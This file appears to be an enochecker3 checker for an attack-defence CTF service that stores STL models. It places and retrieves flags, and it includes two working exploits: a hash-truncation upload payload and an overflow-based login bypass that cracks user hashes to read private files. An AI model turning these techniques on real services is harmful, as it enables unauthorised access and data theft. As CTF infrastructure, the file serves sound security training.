#!/usr/bin/env python3

import logging
import math
import os
import random
import re
import struct
import subprocess
import time

import numpy as np

logging.getLogger("_curses").setLevel(logging.CRITICAL)

from asyncio import StreamReader, StreamWriter
from asyncio.exceptions import TimeoutError
from io import BytesIO
from logging import LoggerAdapter
from typing import Any, Optional, Union, cast

from enochecker3 import (
    AsyncSocket,
    ChainDB,
    DependencyInjector,
    Enochecker,
    GetflagCheckerTaskMessage,
    GetnoiseCheckerTaskMessage,
    InternalErrorException,
    MumbleException,
    PutflagCheckerTaskMessage,
    PutnoiseCheckerTaskMessage,
)
from enochecker3.utils import FlagSearcher, assert_in
from stl import mesh

rand = random.SystemRandom()
generic_alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!"
script_path = os.path.dirname(os.path.realpath(__file__))
extra_models = []
for path in os.listdir(f"{script_path}/models"):
    if path.endswith(".stl"):
        extra_models.append(f"{script_path}/models/{path}")
wordlist = [w for w in open(f"{script_path}/wordlist.txt").read().split() if w != ""]
prompt = b"\r$ "

search_truncation_payload = b"""
solid test\xff
    facet normal 0 0 1.0
        outer loop
            vertex 1 0 0
            vertex 1 1 0
            vertex 0 1 0
        endloop
    endfacet
endsolid test\xff
"""

checker = Enochecker("stldoctor", 9090)
app = lambda: checker.app


async def timed(promise: Any, logger: LoggerAdapter, ctx: str) -> Any:
    logger.debug("Started: {}".format(ctx))
    start = time.time()
    result = await promise
    end = time.time()
    logger.debug("Done: {} (took {:.3f} seconds)".format(ctx, end - start))
    return result


class Session:
    def __init__(self, socket: AsyncSocket, logger: LoggerAdapter) -> None:
        socket_tuple = cast(tuple[StreamReader, StreamWriter], socket)
        self.reader = socket_tuple[0]
        self.writer = socket_tuple[1]
        self.logger = logger
        self.closed = False

    async def __aenter__(self) -> "Session":
        await timed(self.prepare(), self.logger, ctx="preparing session")
        return self

    async def __aexit__(self, *args: list[Any], **kwargs: dict[str, Any]) -> None:
        await timed(self.exit(), self.logger, ctx="closing session")

    async def readuntil(self, target: bytes, ctx: Optional[str] = None) -> bytes:
        try:
            ctxstr = f"readuntil {target!r}" if ctx is None else ctx
            return await timed(self.reader.readuntil(target), self.logger, ctx=ctxstr)
        except TimeoutError:
            self.logger.critical(f"Service timed out while waiting for {target!r}")
            raise MumbleException("Service took too long to respond")

    async def readline(self, ctx: Optional[str] = None) -> bytes:
        return await self.readuntil(b"\n", ctx=ctx)

    async def read(self, n: int, ctx: Optional[str]) -> bytes:
        try:
            ctxstr = f"reading {n} bytes" if ctx is None else ctx
            return await timed(self.reader.readexactly(n), self.logger, ctx=ctxstr)
        except TimeoutError:
            self.logger.critical(f"Service timed out while reading {n} bytes")
            raise MumbleException("Service took too long to respond")

    async def drain(self) -> None:
        await self.writer.drain()

    def write(self, data: bytes) -> None:
        self.writer.write(data)

    async def prepare(self) -> None:
        await self.readuntil(prompt)

    async def exit(self) -> None:
        if self.closed:
            return
        self.write(b"exit\n")
        await self.drain()
        await self.readuntil(b"bye!")
        await self.close()

    async def close(self) -> None:
        if self.closed:
            return
        self.closed = True
        self.writer.close()
        await self.writer.wait_closed()


@checker.register_dependency
def _get_session(socket: AsyncSocket, logger: LoggerAdapter) -> Session:
    return Session(socket, logger)


def ensure_bytes(v: Union[str, bytes]) -> bytes:
    if type(v) == bytes:
        return v
    elif type(v) == str:
        return v.encode()
    else:
        raise InternalErrorException(f"Tried to convert {type(v)} arg to bytes")


def includes_all(resp: bytes, targets: list[bytes]) -> bool:
    for m in targets:
        if ensure_bytes(m) not in resp:
            return False
    return True


def includes_any(resp: bytes, targets: list[bytes]) -> bool:
    for m in targets:
        if ensure_bytes(m) in resp:
            return True
    return False


def randbool() -> bool:
    return rand.randint(0, 1) == 1


def leetify(clean: str) -> str:
    conv = {
        "O": "0",
        "l": "1",
        "I": "1",
        "Z": "2",
        "E": "3",
        "A": "4",
        "S": "5",
        "G": "6",
        "T": "7",
    }
    out = [c.upper() if randbool() else c for c in clean.lower()]
    return "".join([conv[c] if c in conv else c for c in out])


def fakeid(havoc: bool = False) -> bytes:
    if havoc:
        idlen = rand.randint(10, 40)
        return bytes([rand.randint(32, 127) for i in range(idlen)])
    else:
        words = []
        for i in range(rand.randint(2, 3)):
            word = rand.choice(wordlist)
            words.append(leetify(word).encode() if randbool() else word.encode())
        return b"-".join(words)


def fakeids(n: int, havoc: bool = False) -> list[bytes]:
    return [fakeid(havoc) for i in range(n)]


def approx_equal(f1: float, f2: float, precision: int = 2) -> bool:
    return round(f1, precision) == round(f2, precision)


def reverse_hash(hashstr: str) -> bytes:
    data = subprocess.check_output([f"{script_path}/revhash/revhash", hashstr])[:-1]
    if data == b"":
        raise InternalErrorException(f"Failed to find hash preimage of {hashstr!r}")
    return data


def parse_int(intstr: Union[str, bytes]) -> Optional[int]:
    try:
        return int(intstr)
    except:
        return None


def parse_float(floatstr: Union[str, bytes]) -> Optional[float]:
    try:
        return float(floatstr)
    except:
        return None


def has_alph(data: Union[str, bytes], alph: Union[str, bytes]) -> bool:
    return len([v for v in data if v not in alph]) == 0


def assert_match(data: bytes, pattern: bytes, raiser: Any) -> bytes:
    rem = re.search(pattern, data)
    if rem is None:
        raise raiser(f"Expected pattern {pattern!r} to match {data!r}")
    if len(rem.groups()) > 0:
        return rem.group(1)
    return rem.group(0)


def genfile_ascii(solidname: bytes, malformed: bool = None) -> bytes:
    indent = bytes([rand.choice(b"\t ") for i in range(rand.randint(1, 4))])
    facet_count = rand.randint(4, 30)

    if len(solidname) != 0:
        content = b"solid " + solidname + b"\n"
    else:
        content = b"solid\n"

    for fi in range(facet_count):
        # MALFORM 1: wrong keyword
        if malformed == 1:
            content += indent * 1 + b"facet nornal "
        else:
            content += indent * 1 + b"facet normal "

        vs = [[rand.random() for i in range(3)] for k in range(3)]
        norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2], vs[0]))
        norm = norm / np.linalg.norm(norm)

        content += " ".join([f"{v:.2f}" for v in norm]).encode() + b"\n"

        # MALFORM 2: wrong keyword case
        if malformed == 2:
            content += indent * 2 + b"outer lOop\n"
        else:
            content += indent * 2 + b"outer loop\n"

        for i in range(3):
            content += (
                indent * 3
                + b"vertex "
                + " ".join([f"{v:.2f}" for v in vs[i]]).encode()
                + b"\n"
            )

        content += indent * 2 + b"endloop\n"
        content += indent + b"endfacet\n"

    # MALFORM 3: no endsolid keyword
    if malformed != 3:
        if solidname != b"":
            content += b"endsolid " + solidname + b"\n"
        else:
            content += b"endsolid\n"

    return content


def genfile_bin(solidname: bytes, malformed: bool = None) -> bytes:
    facet_count = rand.randint(4, 30)

    if len(solidname) > 78:
        raise InternalErrorException(
            "Solidname to embed in header is larger than header itself"
        )
    if solidname != "":
        content = b"#" + solidname.ljust(78, b"\x00") + b"\x00"
    else:
        content = b"#" + b"\x00" * 79

    # MALFORM 1: specify more facets than are in the file
    if malformed == 1:
        content += struct.pack("<I", facet_count + rand.randint(3, 7))
    else:
        content += struct.pack("<I", facet_count)

    for fi in range(facet_count):
        vs = [[rand.random() for i in range(3)] for k in range(3)]
        norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2], vs[0]))

        # MALFORM 2: invalid float for norm / vec
        if malformed == 2:
            norm[rand.randint(0, 2)] = math.nan
            vs[rand.randint(0, 2)][rand.randint(0, 2)] = math.inf
        for i in range(3):
            content += struct.pack("<f", norm[i])
        for k in range(3):
            for i in range(3):
                content += struct.pack("<f", vs[k][i])
        content += b"\x00\x00"

    # MALFORM 3: add extra data to the end of the file
    if malformed == 3:
        content += bytes([rand.randint(0, 255) for i in range(30)])

    return content


def genfile(solidname: bytes, filetype: str, malformed: Optional[Any] = None) -> bytes:
    if filetype == "ascii":
        return genfile_ascii(solidname, malformed=malformed)
    elif filetype == "bin":
        return genfile_bin(solidname, malformed=malformed)
    elif filetype == "garbage-tiny":
        return bytes([rand.choice(generic_alphabet) for i in range(rand.randint(3, 8))])
    elif filetype == "garbage":
        return bytes(
            [rand.choice(generic_alphabet) for i in range(rand.randint(100, 300))]
        )
    else:
        raise InternalErrorException("Invalid file type supplied")


def parse_stlinfo(stlfile: bytes) -> Any:
    fakefile = BytesIO()
    fakefile.write(stlfile)
    fakefile.seek(0)
    try:
        name, data = mesh.Mesh.load(fakefile)
        meshinfo = mesh.Mesh(data, True, name=name, speedups=True)  # type: ignore
    except Exception as e:
        raise InternalErrorException(f"Unable to parse generated STL file: {e}")
    bmin = [math.inf for i in range(3)]
    bmax = [-math.inf for i in range(3)]
    if len(meshinfo.points) == 0:
        raise InternalErrorException("Parsed STL mesh has 0 points!")
    for p in meshinfo.points:
        for k in range(3):
            for i in range(3):
                bmin[k] = min(bmin[k], float(p[3 * i + k]))
                bmax[k] = max(bmax[k], float(p[3 * i + k]))
    info = {
        "points": meshinfo.points,
        "bb_origin": bmin,
        "bb_size": [bmax[i] - bmin[i] for i in range(3)],
        "size": len(stlfile),
        "triangle_count": len(meshinfo.points),
    }
    return info


async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]:
    try:
        return await db.get(key)
    except KeyError:
        raise MumbleException(
            "Could not retrieve necessary info for service interaction"
        )


# SERVICE FUNCTIONS #


async def do_auth(
    session: Session, logger: LoggerAdapter, authstr: bytes, check: bool = True
) -> Optional[bool]:
    logger.debug(f"Logging in with {authstr!r}")
    session.write(b"auth\n")
    session.write(authstr + b"\n")
    await session.drain()

    # Check for errors
    resp = await session.readline(ctx="Reading auth response (1)")
    if b"ERR:" in resp:
        if check:
            logger.critical(f"Failed to login with {authstr!r}:\n{resp!r}")
            raise MumbleException("Authentication not working properly")
        return None

    # Also check success message
    resp += await session.readuntil(prompt, ctx="Reading auth response (2)")
    if b"Success!" not in resp:
        logger.critical(f"Login with pass {authstr!r} failed")
        raise MumbleException("Authentication not working properly")

    return b"Welcome back" in resp


async def do_list(
    session: Session, logger: LoggerAdapter, check: bool = True
) -> Optional[bytes]:
    session.write(b"list\n")
    await session.drain()
    resp = await session.readuntil(prompt, ctx="reading list response")

    # Check for errors
    if b"ERR:" in resp and b">> " not in resp:
        if check:
            logger.critical(f"Failed to list private files:\n{resp!r}")
            raise MumbleException("File listing not working properly")
        return None

    return resp


async def do_upload(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    stlfile: bytes,
    check: bool = True,
) -> Optional[bytes]:
    # Upload file
    logger.debug(f"Uploading model with name {modelname!r}")
    session.write(b"upload\n")
    session.write(modelname + b"\n")
    session.write(f"{len(stlfile)}\n".encode())
    session.write(stlfile)
    await session.drain()

    # Check for errors
    # TODO improve by reading responses separately
    resp = await session.readline(ctx="Reading upload response (1)")
    resp += await session.readline(ctx="Reading upload response (2)")
    if b"ERR:" in resp:
        if check:
            logger.critical(f"Failed to upload model {modelname!r}:\n{resp!r}")
            raise MumbleException("File upload not working properly")
        await session.readuntil(prompt, ctx="Waiting for prompt")
        return None

    # Parse ID
    try:
        modelid = resp.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
        if modelid == b"":
            raise Exception
    except:
        logger.critical(f"Invalid response during upload of {modelname!r}:\n{resp!r}")
        raise MumbleException("File upload not working properly")

    await session.readuntil(prompt, ctx="Waiting for prompt")
    return modelid


async def do_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    download: bool = False,
    check: bool = True,
) -> Optional[tuple[bytes, bytes]]:
    modelname = ensure_bytes(modelname)

    # Initiate download
    logger.debug(f"Retrieving model with name {modelname!r}")
    session.write(b"search " + modelname + b"\n")
    session.write(b"0\n")  # first result
    session.write(b"y\n" if download else b"n\n")
    session.write(b"q\n")  # quit
    await session.drain()

    # Check if an error occured
    line = await session.readline()
    if b"ERR:" in line:
        if check:
            logger.critical(f"Failed to retrieve model {modelname!r}:\n{line!r}")
            raise MumbleException("File search not working properly")
        if b"Couldn't find a matching scan result" in line:
            # collect all the invalid commands sent after (hacky)
            # TODO: improve by checking every response in search
            await session.readuntil(prompt)
            await session.readuntil(prompt)
            await session.readuntil(prompt)
        await session.readuntil(prompt)
        return None

    # read until end of info box
    fileinfo = line + await session.readuntil(
        b"================== \n", ctx="Reading stl info"
    )

    stlfile = b""
    if download:  # Parse file contents
        await session.readuntil(b"Here you go.. (", ctx="Reading stl size (1)")
        resp = await session.readuntil(b"B)\n", ctx="Reading stl size (2)")
        resp = resp[:-3]
        size = parse_int(resp)
        if size is None:
            raise MumbleException(
                f"Received invalid download size, response:\n{resp!r}"
            )

        logger.debug(f"Download size: {size}")
        stlfile = await session.read(size, ctx="Reading stl contents")

    await session.readuntil(prompt)
    return fileinfo, stlfile


# CHECK WRAPPERS #


async def check_line(session: Session, logger: LoggerAdapter, context: str) -> bytes:
    line = await session.readline()
    if b"ERR:" in line:
        logger.critical(f"{context}: Unexpected error message\n")
        raise MumbleException("Service returned error during valid interaction")
    return line


async def check_listed(
    session: Session, logger: LoggerAdapter, includes: list[bytes]
) -> bytes:
    resp = await do_list(session, logger, check=True)
    assert resp is not None
    if not includes_all(resp, includes):
        logger.critical(f"Failed to find {includes} in listing:\n{resp!r}")
        raise MumbleException("File listing not working properly")
    return resp


async def check_not_listed(
    session: Session,
    logger: LoggerAdapter,
    excludes: list[bytes],
    fail: bool = False,
) -> Optional[bytes]:
    resp = await do_list(session, logger, check=False)
    if resp is not None:
        if fail:
            logger.critical(f"Expected list to fail, but returned:\n{resp!r}")
            raise MumbleException("File listing not working properly")
        if includes_any(resp, excludes):
            logger.critical(
                f"Unexpectedly found one of {excludes} in listing:\n{resp!r}"
            )
            raise MumbleException("File listing not working properly")
    elif not fail:
        logger.critical(f"list failed unexpectedly:\n{resp!r}")
        raise MumbleException("File listing not working properly")
    return resp


async def check_in_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    includes: list[bytes],
    download: bool = False,
) -> tuple[bytes, bytes]:
    resp = await do_search(session, logger, modelname, download, check=True)
    assert resp is not None
    if not includes_all(resp[0] + resp[1], includes):
        logger.critical(
            f"Retrieved info for {modelname!r} is missing {includes}: {resp[0]+resp[1]!r}"
        )
        raise MumbleException("File search not working properly")
    return resp


async def check_not_in_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    excludes: list[bytes],
    download: bool = False,
    fail: bool = False,
) -> Optional[tuple[bytes, bytes]]:
    resp = await do_search(session, logger, modelname, download, check=False)
    if resp is not None:
        combined = resp[0] + resp[1]
        if fail:
            logger.critical(
                "Search for {modelname!r} succeeded unexpectedly:\n{combined!r}"
            )
            raise MumbleException("File search not working properly")
        if includes_any(combined, excludes):
            logger.critical(
                f"Unexpectedly {modelname!r} info contains one of {excludes}: {combined!r}"
            )
            raise MumbleException("File search not working properly")
    elif not fail:
        logger.critical(f"Search for {modelname!r} failed unexpectedly")
        raise MumbleException("File search not working properly")
    return resp


def check_hash(hashstr: bytes) -> None:
    if not has_alph(hashstr, b"0123456789abcdef"):
        raise MumbleException("Invalid model hash format returned")


def check_stlinfo(
    logger: LoggerAdapter,
    resp: bytes,
    ref_info: Any,
    ref_modelid: Optional[bytes] = None,
    ref_modelname: Optional[bytes] = None,
    ref_solidname: Optional[bytes] = None,
) -> None:
    def logthrow(msg: str) -> None:
        logger.critical(msg)
        raise MumbleException("STL parsing not working properly")

    size = parse_int(assert_match(resp, b"File Size: (.*)\n", MumbleException))
    if not size or size != ref_info["size"]:
        logthrow(
            f"STL info returned no / invalid file size: {size} != {ref_info['size']}"
        )

    triangle_count = parse_int(
        assert_match(resp, b"Triangle Count: (.*)\n", MumbleException)
    )
    if not triangle_count or triangle_count != ref_info["triangle_count"]:
        logthrow(
            f"STL info returned no / invalid triangle count: {triangle_count} != {ref_info['triangle_count']}"
        )

    bb_size_str = assert_match(resp, b"Bounding Box Size: (.*)\n", MumbleException)
    bb_size = [parse_float(v) for v in bb_size_str.split(b" x ")]
    for i in range(3):
        val = bb_size[i]
        if val is None:
            logthrow(f"STL info returned invalid bounding box size: {bb_size_str!r}")
        elif not approx_equal(val, ref_info["bb_size"][i]):
            logthrow(
                f"Bounding box size doesnt match: (REF) {ref_info['bb_size']} {bb_size}"
            )

    bb_origin_str = assert_match(resp, b"Bounding Box Origin: (.*)\n", MumbleException)
    bb_origin = [parse_float(v) for v in bb_origin_str.split(b" x ")]
    for i in range(3):
        val = bb_origin[i]
        if val is None:
            logthrow(
                f"STL info returned invalid bounding box origin: {bb_origin_str!r}"
            )
        elif not approx_equal(val, ref_info["bb_origin"][i]):
            logthrow(
                f"Bounding box origin doesnt match: (REF) {ref_info['bb_origin']} {bb_origin}"
            )

    triangle_count = parse_int(
        assert_match(resp, b"Triangle Count: (.*)\n", MumbleException)
    )
    if triangle_count is None or triangle_count != ref_info["triangle_count"]:
        logthrow(
            f"Triangle count {triangle_count} doesnt match expected: {ref_info['triangle_count']}"
        )

    if ref_modelname:
        modelname = assert_match(resp, b"Model Name: (.*)\n", MumbleException)
        if modelname != ref_modelname:
            logthrow(f"Got modelname {modelname!r}, expected {ref_modelname!r}")

    if ref_modelid:
        modelid = assert_match(resp, b"Model ID: (.*)\n", MumbleException)
        if modelid != ref_modelid:
            logthrow(f"Got modelid {modelid!r}, expected {ref_modelid!r}")

    if ref_solidname:
        solidname = assert_match(resp, b"Solid Name: (.*)\n", MumbleException)
        if solidname != ref_solidname:
            logthrow(f"Got solidname {solidname!r}, expected {ref_solidname!r}")


# TEST METHODS #


async def test_good_upload(
    di: DependencyInjector, filetype: str, register: bool
) -> None:
    solidname = fakeid(havoc=(filetype == "bin"))  # ascii stl cant handle havoc
    modelname, authstr = fakeids(2, havoc=True)
    stlfile = genfile(solidname, filetype)
    ref_info = parse_stlinfo(stlfile)
    logger = await di.get(LoggerAdapter)

    # Create new session, register and upload file
    session = await di.get(Session)
    if register:
        await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    check_hash(modelid)
    expected = [modelname, solidname, stlfile, modelid]
    info, stlfile = await check_in_search(
        session, logger, modelname, expected, download=True
    )
    check_stlinfo(
        logger,
        info,
        ref_info,
        ref_modelname=modelname,
        ref_modelid=modelid,
        ref_solidname=solidname,
    )
    if register:
        await check_listed(session, logger, [modelname, modelid + b"-"])

    # Try getting file from a new session
    session = await di.get(Session)
    if register:
        await check_not_in_search(
            session, logger, modelname, expected, download=True, fail=True
        )
        await do_auth(session, logger, authstr, check=True)
        info, stlfile = await check_in_search(
            session, logger, modelname, expected, download=True
        )
        check_stlinfo(
            logger,
            info,
            ref_info,
            ref_modelname=modelname,
            ref_modelid=modelid,
            ref_solidname=solidname,
        )
        await check_listed(session, logger, [modelname, modelid + b"-"])
    else:
        info, stlfile = await check_in_search(
            session, logger, modelname, expected, download=True
        )
        check_stlinfo(
            logger,
            info,
            ref_info,
            ref_modelname=modelname,
            ref_modelid=modelid,
            ref_solidname=solidname,
        )


async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) -> None:
    modelname, solidname = fakeids(2)
    stlfile = genfile(solidname, filetype, malformed=variant)
    logger = await di.get(LoggerAdapter)

    # Ensure a malformed file causes an error
    session = await di.get(Session)
    if await do_upload(session, logger, modelname, stlfile, check=False):
        logger.critical(f"Able to upload malformed file:\n{stlfile!r}")
        raise MumbleException("Upload validation not working properly")


async def test_search(di: DependencyInjector, registered: bool = False) -> None:
    solidname, modelname, authstr = fakeids(3)
    logger = await di.get(LoggerAdapter)

    # Ensure searching for a file that doesnt exist causes an error
    session = await di.get(Session)
    if registered:
        await do_auth(session, logger, authstr, check=True)
    if resp := await do_search(session, logger, modelname, download=False, check=False):
        assert resp is not None
        logger.critical(
            f"Search for file that shouldn't exist succeeded:\n{resp[0]+resp[1]!r}"
        )
        raise MumbleException("File search not working properly")


# CHECKER METHODS #


@checker.putflag(0)
async def putflag_guest(
    task: PutflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname = fakeid()
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    # Generate a file with flag in solidname and upload it (unregistered, ascii)
    session = await di.get(Session)
    stlfile = genfile(task.flag.encode(), "ascii")
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None

    await db.set("info", (modelname, modelid))


@checker.putflag(1)
async def putflag_private(
    task: PutflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, authstr = fakeids(2)
    logger = await di.get(LoggerAdapter)
    stlfile = genfile(task.flag.encode(), "bin")
    db = await di.get(ChainDB)

    # Generate a file with flag in solidname and upload it (registered, bin)
    session = await di.get(Session)
    await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None

    await db.set("info", (modelname, modelid, authstr))


@checker.getflag(0)
async def getflag_guest(
    task: GetflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelname, modelid = await getdb(db, "info")
    logger = await di.get(LoggerAdapter)

    # Retrieve flag file info via search and ensure flag's included
    session = await di.get(Session)
    resp = await do_search(session, logger, modelname, download=True, check=True)
    assert resp is not None
    assert_in(task.flag.encode(), resp[0], "Flag is missing from stl info")
    assert_in(task.flag.encode(), resp[1], "Flag is missing from stl file")


@checker.getflag(1)
async def getflag_private(
    task: GetflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelname, modelid, authstr = await getdb(db, "info")
    logger = await di.get(LoggerAdapter)

    # Retrieve private flag file info via search / list and ensure flag's included
    session = await di.get(Session)
    await do_auth(session, logger, authstr, check=True)
    search_resp = await do_search(session, logger, modelname, download=True, check=True)
    assert search_resp is not None
    assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info")
    assert_in(task.flag.encode(), search_resp[1], "Flag is missing from stl file")
    list_resp = await do_list(session, logger, check=True)
    assert list_resp is not None
    assert_in(task.flag.encode(), list_resp, "Flag is missing from list")


@checker.putnoise(0, 1)
async def putnoise_guest(
    task: PutnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, solidname = fakeids(2)
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    # Generate a random file and upload it (unregistered, bin / ascii)
    session = await di.get(Session)
    stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)

    await db.set("info", (modelid, modelname, solidname, stlfile))


@checker.putnoise(2, 3)
async def putnoise_priv(
    task: PutnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, solidname, authstr = fakeids(3)
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    # Generate a random file and upload it (registered, bin / ascii)
    session = await di.get(Session)
    stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
    await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)

    await db.set("info", (modelid, modelname, solidname, stlfile, authstr))


@checker.getnoise(0, 1)
async def getnoise_guest(
    task: GetnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelid, modelname, solidname, stlfile = await getdb(db, "info")
    logger = await di.get(LoggerAdapter)

    # Retrieve noise file by name via search
    session = await di.get(Session)
    await check_in_search(
        session,
        logger,
        modelname,
        [modelname, solidname, stlfile, modelid],
        download=True,
    )


@checker.getnoise(2, 3)
async def getnoise_priv(
    task: GetnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelid, modelname, solidname, stlfile, authstr = await getdb(db, "info")
    logger = await di.get(LoggerAdapter)

    # Retrieve noise file by name via search and search (registered)
    session = await di.get(Session)
    await do_auth(session, logger, authstr, check=True)
    await check_in_search(
        session,
        logger,
        modelname,
        [modelname, solidname, stlfile, modelid],
        download=True,
    )
    await check_listed(session, logger, [modelname, solidname, modelid])


@checker.havoc(0)
async def havoc_good_upload_guest_ascii(di: DependencyInjector) -> None:
    await test_good_upload(di, filetype="ascii", register=False)


@checker.havoc(1)
async def havoc_good_upload_guest_bin(di: DependencyInjector) -> None:
    await test_good_upload(di, filetype="bin", register=False)


@checker.havoc(2)
async def havoc_good_upload_priv_ascii(di: DependencyInjector) -> None:
    await test_good_upload(di, filetype="ascii", register=True)


@checker.havoc(3)
async def havoc_good_upload_priv_bin(di: DependencyInjector) -> None:
    await test_good_upload(di, filetype="bin", register=True)


@checker.havoc(4)
async def havoc_bad_upload_ascii_v1(di: DependencyInjector) -> None:
    await test_bad_upload(di, "ascii", 1)


@checker.havoc(5)
async def havoc_bad_upload_ascii_v2(di: DependencyInjector) -> None:
    await test_bad_upload(di, "ascii", 2)


@checker.havoc(6)
async def havoc_bad_upload_ascii_v3(di: DependencyInjector) -> None:
    await test_bad_upload(di, "ascii", 3)


@checker.havoc(7)
async def havoc_bad_upload_bin_v1(di: DependencyInjector) -> None:
    await test_bad_upload(di, "bin", 1)


@checker.havoc(8)
async def havoc_bad_upload_bin_v2(di: DependencyInjector) -> None:
    await test_bad_upload(di, "bin", 2)


@checker.havoc(9)
async def havoc_bad_upload_bin_v3(di: DependencyInjector) -> None:
    await test_bad_upload(di, "bin", 3)


@checker.havoc(10)
async def havoc_bad_upload_garbage(di: DependencyInjector) -> None:
    await test_bad_upload(di, "garbage", 1)


@checker.havoc(11)
async def havoc_bad_upload_garbage_tiny(di: DependencyInjector) -> None:
    await test_bad_upload(di, "garbage-tiny", 1)


@checker.havoc(12)
async def havoc_test_search_guest(di: DependencyInjector) -> None:
    await test_search(di, registered=False)


@checker.havoc(13)
async def havoc_test_search_priv(di: DependencyInjector) -> None:
    await test_search(di, registered=True)


@checker.havoc(14)
async def havoc_test_list_guest(di: DependencyInjector) -> None:
    logger = await di.get(LoggerAdapter)

    # Ensure that list does not work for unregistered users
    session = await di.get(Session)
    resp = await do_list(session, logger, check=False)
    if resp is not None:
        logger.critical("Unregistered user can run list without ERR!")
        raise MumbleException("User authentication not working properly")


@checker.havoc(15)
async def havoc_fluff_upload(di: DependencyInjector) -> None:
    if len(extra_models) == 0:
        return
    model = rand.choice(extra_models)
    modelname = os.path.basename(model).split("-")[0].encode()
    modelname += bytes([rand.choice(b"0123456789") for i in range(5)])
    stlfile = open(model, "rb").read()
    logger = await di.get(LoggerAdapter)

    # Simple Upload
    session = await di.get(Session)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    await check_in_search(
        session, logger, modelname, [modelname, modelid, stlfile], download=True
    )


@checker.exploit(0)
async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
    modelname = fakeid()
    logger = await di.get(LoggerAdapter)
    searcher = await di.get(FlagSearcher)

    # Upload evil file for parse via search for hash truncation
    session = await di.get(Session)
    logger.debug("Uploading evil file for hash truncation")
    await do_upload(
        session, logger, modelname, stlfile=search_truncation_payload, check=True
    )
    search_resp = await do_search(
        session, logger, modelname, download=False, check=True
    )
    assert search_resp is not None
    info, contents = search_resp
    session.write(b"search last\n")
    await session.drain()
    filelist_resp = await session.readuntil(b"? ", ctx="reading search results")
    filelist = [
        l.strip().split(b" : ")[1] for l in filelist_resp.split(b"\n") if b" : " in l
    ]
    if len(filelist) == 0:
        raise MumbleException("Failed to list files through search")

    # Use it to enumerate other files and grab contents
    logger.debug(
        "Targets:\n" + "\n".join([" - " + l.decode("latin1") for l in filelist])
    )
    flag = None
    for i, fhash in enumerate(filelist):
        logger.debug(f"Retrieving file {fhash} at index {i}")
        session.write(f"{i}\nn\n".encode())
        await session.drain()
        filelist_resp = await session.readuntil(
            b"==================", ctx="Getting file info (1)"
        )
        filelist_resp += await session.readuntil(b"? ", ctx="Getting file info (2)")
        if flag := searcher.search_flag(filelist_resp.decode("latin1")):
            break

    # Done!
    session.write(b"q\n")
    await session.drain()
    await session.readuntil(prompt)

    if flag is not None:
        return flag

    raise MumbleException("Exploit for flagstore 1 failed")


@checker.exploit(1)
async def exploit_hash_overflow(di: DependencyInjector) -> None:
    logger = await di.get(LoggerAdapter)
    searcher = await di.get(FlagSearcher)

    # Overflow loggedin variable
    session = await di.get(Session)
    session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
    await session.drain()
    await session.readuntil(prompt, ctx="Getting user hashes via search")
    session.write(b"auth\n")
    await session.drain()
    resp = await session.readuntil(prompt, ctx="Checking auth success")
    if b"Already logged in!" not in resp:
        raise MumbleException("Exploit did not set 'loggedin' variable via overflow")

    # Get private user hashes via 'list'
    resp = await do_list(session, logger, check=False)
    if not resp:
        raise MumbleException("")
    logger.debug("list response: " + str(resp))
    users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
    await session.exit()

    # Login as each private user
    for userhash in users:
        # Find preimage of user hash
        logger.debug(f"Logging in as user with id {userhash!r}")
        authstr = reverse_hash(userhash.decode())

        # Authenticate and check if the user is new
        session = await di.get(Session)
        if not await do_auth(session, logger, authstr, check=True):
            await session.exit()
            # We dont raise an exception, because it could be that user dir was cleaned
            # up just before we logged in, not necessarily because of an invalid prehash.
            # If there was a problem with the preimage generation, we wont find a flag and
            # an exception will be raised later anways...
            continue

        # list all private files of user
        resp = await do_list(session, logger, check=True)
        await session.exit()

        # Search for flag in solid names
        solidnames = b"\n".join(
            [l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]
        )
        if flag := searcher.search_flag(solidnames.decode("latin1")):
            return flag

    raise MumbleException("Exploit for flagstore 2 failed")


if __name__ == "__main__":
    checker.run(port=9091)